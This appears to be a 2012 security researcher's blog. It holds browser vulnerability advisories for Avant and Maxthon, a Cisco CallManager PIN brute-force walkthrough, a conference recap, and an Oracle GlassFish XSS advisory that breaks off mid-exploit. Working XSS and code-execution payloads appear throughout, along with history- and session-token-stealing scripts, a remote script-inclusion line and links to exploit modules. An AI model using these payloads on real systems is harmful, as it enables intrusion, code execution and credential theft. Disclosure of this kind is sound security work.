Wednesday, 5 December 2012

Avant Browser - Stored Cross Site Scripting - Feed Reader (browser://localhost/lst?*)


Details

Vendor Site: Avant browser (www.avantbrowser.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Avant Browser Ultimate 2012 Build 28 and potentially previous versions
Status: Unpatched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Avant_multiple_vulnerabilities_advisory.pdf


Stored Cross Site Scripting - Feed Reader (browser://localhost/lst?*)

A malicious user can inject and store arbitrary JavaScript/HTML code via multiple RSS feed elements. Vulnerable elements are the following:
  • <title> element: JavaScript injection using HTML encoded payload
  • <link> element: JavaScript injection using javascript: pseudouri ( this is rendered in about:blank zone.)
  • <description> element: JavaScript injection using HTML encoded payload
The following table shows an example of malicious RSS feed:

<?xml version='1.0' encoding="ISO-8859-1"?>
<rss version='2.0'>
<channel>
<description>Malerisch.net</description>
<link>http://blog.malerisch.net/</link>
<title>Malerisch.net</title>
<item>
    <title>browser security&gt;&lt;img src=a onerror='alert(1);' ;&gt;</title>
    <link>javascript:alert(window.location);</link>
    <description>07/09/2008 - I have done some research in the area of browser security and presented this argument at the last OWASP NZ meeting.&lt;img src=a onerror='alert(2);';&gt;
    </description>
<pubDate>Sun, 07 Sep 2008 12:00:00 GMT</pubDate>
</item>
</channel>
</rss>

Injection is possible in a single case: user views a malicious feed using Avant Feed Reader built-in component.

The Feed Reader is located at feed:// URI scheme (e.g. feed://localhost/browser/avent/rss.xml) Note that the URL of the feed has to be subscribed to be rendered under the feed: uri. Also, the feed:// uri scheme is mapped to browser://localhost/lst?domain.name/path/to/rss.feed.


Exploitation

This vulnerability can be defined as a traditional Stored Cross Site Scripting vulnerability. Although, the injection is rendered within an internal browser zone (mapped to browser://localhost/lst?domain.name/path/to/rss.feed  ), invocation of privileged commands appears to not be possible as SOP is correctly applied to the browser:// zone.

Video

Avant Browser - Stored Cross Site Scripting - Feed Reader (browser://localhost/lst?*)


Timeline

07/03/2012 - Posted 10 posts to a forum to get a security contact
14/03/2012 - Reception of report confirmed but no further reply
14/03/2012 - Chased them, no reply
03-05/2012 - 2 new releases following the report, one bug silently fixed
12/05/2012 - HITB2012AMS - bug disclosed during presentation
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Avant browser.

Avant Browser - Cross Context Scripting - browser:home - Most Visited And History Tabs


Details

Vendor Site: Avant browser (www.avantbrowser.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Avant Browser Ultimate 2012 Build 27 and potentially previous versions
Status: Unpatched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Avant_multiple_vulnerabilities_advisory.pdf


Cross Context Scripting – browser:home – Most Visited And History Tabs

A malicious user can inject arbitrary JavaScript/HTML code through the websites visited with the Avant Browser. The code injection is rendered into the both the Most Visited and History tabs within the browser:home page,  which displays URL and the title of the page. A malicious user can inject and store JavaScript/HTML content by using the <title> HTML element, as shown in the table below:

<title>aaa"><img src=a onerror='var vstr = {value: ""};window.navigator.AFRunCommand(60003, vstr);alert(vstr.value);'></title>

Injected payload is rendered in the history item, as shown below:


Exploitation

This vulnerability can be exploited in several ways depending on the user action. The table below describes two possible scenarios:

Scenario 1

User visits a malicious web page;
User directly requests browser:home and clicks on “Most Visited” or “History” tab.

Exploit

Stored malicious payload will be rendered from the browser: privileged browser zone and so it would be possible to bypass Same Origin Policy (SOP) protections, and access Avant Browser native JavaScript privileged functions which can be invoked from the window.navigator object (e.g. window.navigator.*). Such Avant Browser object interfaces can be used to read browser history, bookmarks, or modify Avant Browser configuration.

Scenario 2

Clickjacking attack which tricks a user into clicking the “most visited” or “history” tab of the browser:home page rendered in a hidden iframe.

Exploit

In this case, this can be considered a traditional stored Cross Site Scripting vulnerability and SOP is forbids execution of privileged commands.

Video

Avant Browser - Cross Context Scripting - browser:home - Most Visited And History Tabs


Timeline


07/03/2012 - Posted 10 posts to a forum to get a security contact
14/03/2012 - Reception of report confirmed but no further reply
14/03/2012 - Chased them, no reply
03-05/2012 - 2 new releases following the report, one bug silently fixed
12/05/2012 - HITB2012AMS - bug disclosed during presentation
14/11/2012 - HackPra - bug and exploit module presented


Solution

Do not use Avant browser.

Avant Browser - Same of Origin Policy Bypass - browser:home

Details

Vendor Site: Avant browser (www.avantbrowser.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Avant Browser Ultimate 2012 Build 28 and potentially previous versions
Status: Unpatched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Avant_multiple_vulnerabilities_advisory.pdf


Same of Origin Policy Bypass

A malicious user can execute arbitrary JavaScript/HTML code on the privileged browser:home page from an untrusted web page on Internet (http:// zone). This is possible by creating an iframe element pointing to the browser:home page and then invoking privileged commands using a window object reference to the iframe element, as shown in the example below:

<iframe name="test2" src="browser:home"></iframe>
<script>window['test2'].navigator.AFRunCommand(id_of_privileged_command, vstr)</script>

This code allows interaction from an untrusted zone (http://) to a trusted and privileged zone: browser:home.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the browser: privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Avant Browser native JavaScript privileged functions which can be invoked using the window.navigator object (e.g. window.navigator.*). Such Avant Browser object interfaces can be used to read browser history, bookmarks, or modify Avant Browser configuration. Below, an example of code which allows to read the browser's history is provided.

Exploit - Stealing browser's history

<iframe name="test2" src="browser:home"></iframe>
<script> var vstr = {value: ""}; window['test2'].navigator.AFRunCommand(60003, vstr) alert(vstr.value);
//send vstr.value via an img src to another domain </script>

BeEF module

A BeEF module has been developed which steals history of the Avant browser. The BeEF module can be found below:

https://github.com/malerisch/beef/tree/avant_browser/modules/exploits/avant_steal_history

Video

Avant Browser - BeEF - History Stealing exploit video


Timeline


07/03/2012 - Posted 10 posts to a forum to get a security contact
14/03/2012 - Reception of report confirmed but no further reply
14/03/2012 - Chased them, no reply
03-05/2012 - 2 new releases following the report, one bug silently fixed
12/05/2012 - HITB2012AMS - bug disclosed during presentation
14/11/2012 - HackPra - bug and exploit module presented


Solution

Do not use Avant browser.

Maxthon - Incorrect Executable File Handling and Same Origin Policy Implementation




Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.4.5.2000 and previous versions
Status: Patched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf


Incorrect Executable File Handling


The way local executable files are handled by the Maxthon browser seems related to the fact that external tools such as Calc, Desktop, and others can be launched from the browser itself. This design is insecure as it allows JavaScript to directly invoke an executable. As shown in previous exploits, this design can aid exploitation by chaining different vulnerabilities at the same time, allowing for arbitrary command execution.

This vulnerability can be exploited in multiple ways:

Scenario 1
1. User visits a page which invokes the window.open() function against an executable file – e.g. file:///C:/windows/system32/cmd.exe
2. User unblocks the pop up blocker

Scenario 1 - Impact
The window will open as a new window, SOP is not enforced and this vulnerability would allow arbitrary code execution.

Scenario 2
User is fooled into bookmarking an executable file

Scenario 2 - Impact
Executable is executed directly by Maxthon. User is not prompted to either downloading the executable or discarding the download.

Scenario 3
SOP vulnerability discovered that would allow direct access to file:// zone from an untrusted zone

Scenario 3 - Impact
Arbitrary command execution.


Same Of Origin (SOP) Incorrect Implementation

It is possible to bypass Same of Origin of Policy  (SOP) by using window.open() method against about: URI scheme. Such URI are mapped to privileged zone mx://res/*. However, by invoking directly against mx://res/, the SOP is applied and access is forbidden. The following table summarises test case conducted with window.open() method:
  1. http:// -> file:// - Prompts a popup blocker, if the user allows the pop up, the file:// window is opened.
  2. http:// -> about:* - Spawns a new window
  3. http:// -> mx://res/* - Forbidden by SOP
Timeline

13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

Maxthon - Cross Context Scripting (XCS) - Bookmark Toolbar and Bookmark Sidebar



Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.3.3.1000 and previous versions
Status: Patched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf


Cross Context Scripting

Cross Context Scripting  (XCS) is a particular code injection attack vector where the injection occurs from an untrusted zone (e.g. Internet) into a privileged browser zone. In this case, it is possible to inject arbitrary JavaScript/HTML code from an untrusted page into Maxthon browser privileged zone - mx://res/*.


Description

It is possible to inject JavaScript/HTML payload via the “title” parameter of the “Add to Favorites” form. In Maxthon, bookmark UI security controls are weak and allow a trivial exploitation, even for an attentive user, considering the following factors:
  • window.external.addFavorite() can be invoked in an automated fashion;
  • The title entry can be tailored to hide the injection payload;
  • URL of the bookmark can remain legitimate: e.g. www.google.com
The following screen shot shows an innocuous looking bookmark title and URL. The URL is correct but the title element contains malicious JavaScript code which is not visible directly.


The injected code is rendered at mx://res/sidebar/favorites/index.htm 

Injection occurs under the following conditions/actions:
  • User opens the Favorites sidebar on the left (just clicking on the Star icon, without clicking the malicious bookmark);
  • User clicks on the bookmark link from the bookmark toolbar;
  • User navigates to another tab after having added the malicious bookmark.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the mx://res/ privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

Malicious Add to Favorite Injection – HTML Source Code

<html>
<head>
<title>Google</title>
<head>
<script>
evilpayload='location.href="file:///C:/windows/system32/calc.exe";'
padding="Google - www.google.com"
padding2="                      "
padding3=" - the best search engine - bookmark now!!!"
window.external.addFavorite("www.google.com",padding+"'><scri"+"pt>"+evilpayload+"</"+"script>"+" "+" "+padding+padding3)

</script>
</head>
<body>
<h3>Maxthon 3.3.3.1000 - Cross Context Scripting via Bookmark (title parameter) - Code Execution PoC</h3>
<font size="+1">Roberto Suggi Liverani - <a href="http://blog.malerisch.net">http://blog.malerisch.net</a> - <a href="https://twitter.com/malerisch">@malerisch</a></font>
<br>Steps:
<ul>
<li>User is prompted to bookmark an innocuous looking bookmark, like the one shown in the middle of the screen. The injected payload can only be seen if the user scrolls on the left of the title element.
<li>User adds the bookmark.
<li>User then clicks on the Star (Favorites) icon or
<li>User clicks on the bookmark link from the bookmark toolbar.
<li>In both cases, calc.exe is executed.
</ul>
The code for the exploit:<br>
<code>
evilpayload='location.href="file:///C:/windows/system32/calc.exe";'
window.external.addFavorite("www.google.com","yourpaddinghere'><scri"+"pt>"+evilpayload+"</"+"script>andpaddinghere");
</code>
</body>
</html>


Video

Maxthon - Cross Context Scripting (XCS) -  Bookmark Toolbar and Bookmark Sidebar


Timeline

13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

Maxthon - Privileged API Available On i.maxthon.com



Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 6 2012 – CVE (TBA)
Affected Software: Maxthon 3.4.5.2000 and previous versions
Status: Patched
Researcher: Roberto Suggi Liverani - @malerisch



Privileged APIs Available on i.maxthon.com

The web site i.maxthon.com can access and use privileged Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read last visited pages or favorites, as shown in the following screen shot. Such information can only be retrieved by using privileged Maxthon functions.


Different issues were identified regarding this design:
  1. No control on resolution of IP address for i.maxthon.com domain;
  2. No use of SSL to serve the i.maxthon.com web site;
  3. Use of icon "Trusted site" on the URL bar even when i.maxthon.com resolves to a different IP address.

Exploitation

This vulnerability can be exploited in several ways, as listed below:
  • DNS poisoning - Force resolution of i.maxthon.com to a controlled IP address
  • HTTP MiTM attack - malicious proxy which alters page content
  • Exploit XSS vulnerability in real i.maxthon.com site
Once it is possible to successfully perform one of the above attacks, then it would be possible to access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

Video

Maxthon - i.maxthon.com (DNS compromise scenario)


Timeline

12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

Maxthon - Cross Context Scripting (XCS) - RSS - Remote Code Execution


Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.4.5.2000 and previous versions
Status: Unpatched (at the time of publishing)
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf


Cross Context Scripting

Cross Context Scripting  (XCS) is a particular code injection attack vector where the injection occurs from an untrusted zone (e.g. Internet) into a privileged browser zone. In this case, it is possible to inject arbitrary JavaScript/HTML code from an untrusted page into Maxthon browser privileged zone - mx://res/*.


Description

A malicious user can inject arbitrary JavaScript/HTML code via multiple RSS feed elements. Vulnerable elements are the following:

  • <title> element: JavaScript injection using HTML encoded payload
  • <link> element: JavaScript injection using javascript: pseudouri
  • <description> element: JavaScript injection using HTML encoded payload

Injection is possible in two different conditions:

[1] User directly visits a malicious RSS page: e.g. http://x.x.x.x/maliciousrss.xml

In such case, the injection is rendered in the following point: mx://res/app/%7BGUID%7B/preview.htm?http://x.x.x.x/maliciousrss.xml

[2] User views or saves the malicious feed using Maxthon Feed Reader built-in component.

The Feed Reader is located at about:reader which is mapped to mx://res/app/%7BGUID%7B/reader.htm page. If the malicious feed is saved, injection is stored as well within the about:reader page.

Maxthon has to render the attack page in "UltraMode" to be affected by this vulnerability. The UltraMode is automatically set by default in Maxthon and makes use of Webkit.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the mx://res/ privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

A malicious user would need to convince a user to visit a link to exploit this vulnerability.

Malicious RSS Feed – Arbitrary Code Execution Exploit


<?xml version='1.0' encoding="ISO-8859-1"?>
<rss version='2.0'>
<channel>
<description>Malerisch.net</description>
<link>http://blog.malerisch.net/</link>
<title>Malerisch.net</title>
<item>
    <title>test'&gt;&lt;img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:")';&gt;</title>
    <link>javascript:alert(window.location);</link>
    <description>07/09/2008 - test &lt;img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:")';&gt;</description>
<pubDate>Sun, 07 Sep 2008 12:00:00 GMT</pubDate>
</item>
</channel>
</rss>


Metasploit module

Following disclosure of the bugs during HITB2012AMS conference, it was observed that the maxthon.program object was silently removed by Maxthon in recent versions. This only allows a malicious user to read and write files on the system.

Code execution without incurring in a warning or user prompt can still be achieved by overwriting an executable which can be called directly by the browser. A "dirty" way is to overwrite j2plauncher.exe assuming the victim has either JRE/JDK installed on the machine. The second step would be to force Maxthon to load java.exe (e.g. create an iframe that points to a page which loads a Java Applet). This approach was successfully tested on Windows 7.

On Windows XP, there are more choices to overwrite executable files, e.g. C:\\Program\ Files\\Outlook\ Express\\wab.exe and then force browser to invoke wab.exe via window.location='ldap://dummy'.

The PoC Metasploit module includes the "dirty" Java overwrite approach described above.

https://github.com/malerisch/metasploit-framework/blob/maxthon3/modules/exploits/windows/browser/maxthon_rss_xcs.rb

Video

Maxthon - Cross Context Scripting (XCS) - RSS - Java overwrite technique - Metasploit in action:


Timeline

13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

Maxthon - Cross Context Scripting (XCS) - about:history - Remote Code Execution


Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.4.5.2000 and previous versions
Status: Unpatched (at the time of publishing)
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf


Cross Context Scripting

Cross Context Scripting  (XCS) is a particular code injection attack vector where the injection occurs from an untrusted zone (e.g. Internet) into a privileged browser zone. In this case, it is possible to inject arbitrary JavaScript/HTML code from an untrusted page into Maxthon browser privileged zone - mx://res/*.


Description

A malicious user can inject arbitrary JavaScript/HTML code through the websites visited with the Maxthon browser. The code injection is rendered into the History page (about:history), which displays URL and a short description of the visited pages. A malicious user can inject JavaScript/HTML content by using the location.hash property, as shown below:

http://x.x.x.x/maliciouspage.html#"><img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:")'>

Injected payload is rendered in both the <img> and <a> elements of a history item, as shown below:



Most recently, only a single injection point is possible after some silent fixes from Maxthon. The about:history is mapped to mx://res/history/index.htm, as shown in the screen shot below:


Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the mx://res/ privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

A malicious user would need to convince a user to visit a link to exploit this vulnerability.

The exploitation is divided into three phases:

[1] Create an entry in the history page which contains the injection - injection via location.hash

http://x.x.x.x/maliciouspage.html#<script src=http://malicious/malicious.js></script>

[2] Redirect browser to the about:history page to trigger execution in the Maxthon trusted zone maliciouspage.html would contain something as:

<body><script>window.location='about:history';</script></body>

Note this redirection should not occur since it is invoked from a page on the Internet (http://) - due to the protocol mismatch, same-origin policy should trigger.

[3] Invoke privileged Maxthon DOM API interfaces/objects to achieve remote code execution

From the about:history which is mapped to the mx:// it is possible to invoke special DOM API interfaces and objects, such as maxthon.io and maxthon.program. These special objects can be misused to achieve code execution.

Metasploit module

Following disclosure of the bugs during HITB2012AMS conference, it was observed that the maxthon.program object was silently removed by Maxthon in recent versions. This only allows a malicious user to read and write files on the system.

Code execution without incurring in a warning or user prompt can still be achieved by overwriting an executable which can be called directly by the browser. A "dirty" way is to overwrite j2plauncher.exe assuming the victim has either JRE/JDK installed on the machine. The second step would be to force Maxthon to load java.exe (e.g. create an iframe that points to a page which loads a Java Applet). This approach was successfully tested on Windows 7.

On Windows XP, there are more choices to overwrite executable files, e.g. C:\\Program\ Files\\Outlook\ Express\\wab.exe and then force browser to invoke wab.exe via window.location='ldap://dummy'.

The PoC Metasploit module includes the "dirty" Java overwrite approach described above.

https://github.com/malerisch/metasploit-framework/blob/maxthon3/modules/exploits/windows/browser/maxthon_history_xcs.rb

Video

Maxthon - Cross Context Scripting (XCS) - about:history - Java overwrite technique - Metasploit in action:


Maxthon - Cross Context Scripting (XCS) - about:history - maxthon.program technique - Metasploit in action:



Timeline

13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

Monday, 1 October 2012

Cisco Unified Communications Manager (Call Manager) PIN brute force attack


During a security review, I have found a quick way to perform PIN brute force attack against accounts registered with a Cisco Unified Communications Manager (CallManager). A quick google "callmanager brute force" didn't bring any relevant results, so I thought to share the simple technique I have used.

When looking at the phone handset configuration, some URLs are set to allow the handset to retrieve Personal Address Book details or access the Fast Dials. That caught my attention and I immediately pointed my web proxy to those URLs, forgetting about the handset interface.

What happens when using the handset is that the handset itself performs HTTP requests to the CallManager.



A simple HTTP GET request is performed by the handset to initiate the login sequence with a request as the one below:

1) GET - https://x.x.x.x/ccmpd/pdCheckLogin.do?name=undefined


The response contains a reference to the login.do page along with a "sid" token, which is used in the subsequent requests, as shown in the response below:



The sid token is required to perform the PIN brute force attack.

Also, the response provides some clues on which parameters to include in the login request, such as userID and PIN. The following GET request can then be used to perform a PIN brute force account.

2) GET - https://x.x.x.x/ccmpd/login.do?sid=_sid_value_&userid=_userid_&pin=_PIN_



At this stage, it is possible to perform a PIN brute force attack, as a valid SID token needs to be passed when authenticating the user.

In case the userid/PIN are wrong, the following response is returned:


It seems not possible to perform userID enumeration. In such case, it is recommended to have a large username dictionary file and then try against the same PIN (e.g. common value 1234, 12345). This can be easily done using the Burp intruder tab, as shown below:



If the correct userID/PIN are found, the response will contain links for each service, as shown below:



The above sequence of requests can be trivially automated with a web proxy, such as Burp, by setting a macro for instance.



More information on how to configure macros in Burp, can be found here: http://portswigger.net/burp/help/options_sessions_macroeditor.html

If a valid userID/PIN is found, it is recommended to stop the brute force attack, generate a new sid token and then restart the brute force attack.

Happy hacking!

Friday, 8 June 2012

Hack In the Box 2012 Amsterdam - Recap


I have promised I would have something written about my Hack In the Box 2012 Amsterdam conference experience.

First thing, it was one of the best security conference I have ever been. Big props to Dhillon (@l33tdawg) and the HITB crew for organising such event. I have been organising conferences in the past (OWASP NZ Day 2009 and 2010) and I know something about what happens in the background.

The conference venue was awesome, a pimping five stars hotel ;-) and again need to thank the crew for the wise choice. Bad thing is that I checked out with my wallet "lighter" than usual, after having dinners at the Japanese restaurants and trying all the amenities of the fitness center.

My talk (pdf || slideshare) was on the first day along with two other media interviews with Mirko Zorz (@helpnetsecurity) of Help Net Security and Edward Kovacs (@EduardKovacs) of Softpedia.

Both interviews went pretty well and they will be published soon. Unfortunately, I wasn't able to see many talks during the first day. However, I have found interesting and entertaining reading the slides of the following presentations:

Killing a bounty program, Twice. - Itzhak (Zuk) Avraham (@ihackbanme) and Nir Goldshlager (@Nirgoldshlager)
- One flew over the cuckoo's nest - Claudio Guarnieri (@botherder).

On the second day, I enjoyed Nicolas Gregoire (@Agarri_FR)'s talk about "Attacking XML processing". His demo part was very cool and it gave me some new ideas. Attended Steven Seeley (@net__ninja) talk about Ghost In the Windows 7 Allocator, from which I learnt several things I didn't know about Windows heap. Also attended some talks which are unrelated to my current area of research and which resulted to give me some collateral ideas:

CXML VXML Auditing for IVR Pentesters - Rahul Sasi - @fb1h2s
- Automatically Searching for Vulnerabilities - Nikita Tarakanov - @NTarakanov

All the slides/material of HITB2012AMS material can be found here: http://conference.hitb.org/hitbsecconf2012ams/materials/

During the conference, I have spent some great time going around Amsterdam with with  @net__ninja.

Also met with Peter Van Eeckhoutte (@corelanc0d3r) from the Corelan team, who I need to thank for the very cool article he wrote about my talk. I also had few beers with Fred Raynal (@fredraynal) and met new friends, such as Claudio Guarnieri (@botherder) and Marco Balduzzi (@embyte).

After my presentation, I have met with Arthur Gerkis (@ax330d) and Christian Holler (@mozdeco) - they both gave me some new ideas for fuzzing browsers, which I expect to adopt and try in the next few months.

Hopefully, I will have a chance to get an invite to the HITB KUL next year ;-). I will definitely re-submit next year to HITB2013AMS if I got new things to share.

Finally, all the bugs, demo and exploits which were shown during my preso will be released sometime soon so please keep watching this space or follow my tweets if you are interested ;-).

Other blog posts about HITB2012AMS which you might find relevant:

https://www.corelan.be/index.php/category/security/cons-seminars/
http://blog.rootshell.be/2012/05/24/hitb-amsterdam-wrap-up-day-1/
http://blog.rootshell.be/2012/05/25/hitb-amsterdam-wrap-up-day-2/

Thursday, 19 April 2012

Oracle GlassFish Server - Multiple Cross Site Scripting Vulnerabilities

Following disclosure of Oracle bugs, here is another bug found in Oracle GlassFish Server 3.1.1. The interesting part of this advisory is the exploit. When looking at the features of the Oracle GlassFish Server, I have noticed that with a XSS it would be possible to steal the session token and bypass HTTPOnly protection. I have found this condition to be true if a user is authenticated to the REST interface, which does not have the same security controls of the main web administrative interface. Quite an interesting point to keep in consideration when testing applications that come with a standard interface and a REST interface as well.


Details

Vendor Site: Oracle (www.oracle.com)
Date: April, 19th 2012 – CVE 2012-0551
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani


Description

Security-Assessment.com has discovered that components of the Oracle GlassFish Server administrative web
interface are vulnerable to both reflected  and stored  Cross Site Scripting attacks. All pages where Cross Site
Scripting vulnerabilities were discovered require authentication.

Reflected Cross Site Scripting 

Reflected Cross Site Scripting was discovered in multiple parts of the application.
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Method Variable
 /common/applications/lifecycleEdit.jsf?appName=
test%27);alert(document.cookie)//test

 GET  appName
/common/security/realms/realms.jsf?configName=default-config%22%29%3balert%281%29//test
/web/grizzly/networkListeners.jsf?configName=default-configad217%22%29%3balert%281%29//test
/common/security/auditModules/auditModules.jsf
?configName=904895%22);alert(1);//test
/common/security/jacc/jaccProviders.jsf?configName=904895%22);alert(1);//t
/common/security/msgSecurity/msgSecurity.jsf?
configName=904895%22);alert(1);//test
/jms/jmsHosts.jsf?configName=904895%22);alert(1);//test
/web/grizzly/networkListeners.jsf?configName=904895%22);alert(1);//test
/web/grizzly/protocols.jsf?configName=904895%22);alert(1);//test
/web/grizzly/transports.jsf?configName=904895%22);alert(1);//test

 GET  configName
 /xhp?key=aquarium%27%3b%3Cscript%3Ealert
%281%29%3C/script%3E//test
** Works in Internet Explorer (content sniffing)

 GET  key

Stored Cross Site Scripting

The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Rendered Page Method Variable
 /management/domain/create-password-alias  /management/
domain/
list-password-aliases
/cluster/node/
nodeEdit.jsf?
nodeName=localhost-domain1&bare=true

 POST  id
/common/appServer/pswdAliasNew.jsf
** requires a valid javax.faces.ViewState

 /cluster/node/
nodeEdit.jsf?
nodeName=localhost
domain1&bare=true

 POST  propertyForm%3
ApropertySheet
%3ApropertSection
TextField
%3AaliasNameNew
%3AaliasNameNew

Stored Cross Site Scripting - POST Request – REST Interface

POST /management/domain/create-password-alias HTTP/1.1 
Host: 192.168.0.205:4848 
[snip] 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 126 
 
AS_ADMIN_ALIASPASSWORD=testing81&id=%22%3E%3Cscript%3Ealert%28%22viaREST%22%29%3B%3C%2Fscrip
t%3E&remove_empty_entries=true

Stored Cross Site Scripting - POST Request – Standard Web Interface

POST /common/appServer/pswdAliasNew.jsf HTTP/1.1 
Host: 192.168.0.205:4848 
[snip] 
Faces-Request: partial/ajax 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
Content-Length: 889 
Cookie: JSESSIONID=146c28566608602e3a73ab65f07c; treeForm_tree-hi=treeForm:tree:nodes 
 
propertyForm%3ApropertySheet%3ApropertSectionTextField%3AaliasNameNew%3AaliasNameNew=%22%3E%
3Cscript%3Ealert(12345545)%3C%2Fscript%3E&propertyForm%3ApropertySheet%3ApropertSectionTextF
ield%3AnewPasswordProp%3ANewPassword=test&propertyForm%3ApropertySheet%3ApropertSectionTextF
ield%3AconfirmPasswordProp%3AConfirmPassword=test&propertyForm%3AhelpKey=ref-pswdaliasnew.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=-6862830673138436308%3A379100040679698460&com_sun_webui_util_FocusManager_focusElementId=prop
ertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.source=propertyForm%3Apr
opertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.execute=%40all&javax.faces.pa
rtial.render=%40all&bare=true&propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=pr
opertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.ajax=true

Exploitation

These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file,
such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it
is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface.

Bypassing HTTPOnly protection and token theft via REST interface

There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface.

This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and
reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface.

The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface.

Bypassing HTTPOnly and Stealing Session Token
function retrieveToken() 
{ 
var xmlhttp; 
if (window.XMLHttpRequest) 
  {// code for IE7+, Firefox, Chrome, Opera, Safari 
  xmlhttp=new XMLHttpRequest(); 
  } 
else 
  {// code for IE6, IE5 
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
  } 
xmlhttp.onreadystatechange=function() 
  { 
  if (xmlhttp.readyState==4 && xmlhttp.status==200) 
    {} 
  } 
xmlhttp.open("POST","/management/sessions",true); 
xmlhttp.setRequestHeader("Accept","application/json") 
xmlhttp.send(); 
return xmlhttp; 
} 
 
function stealToken(a) 
{ 
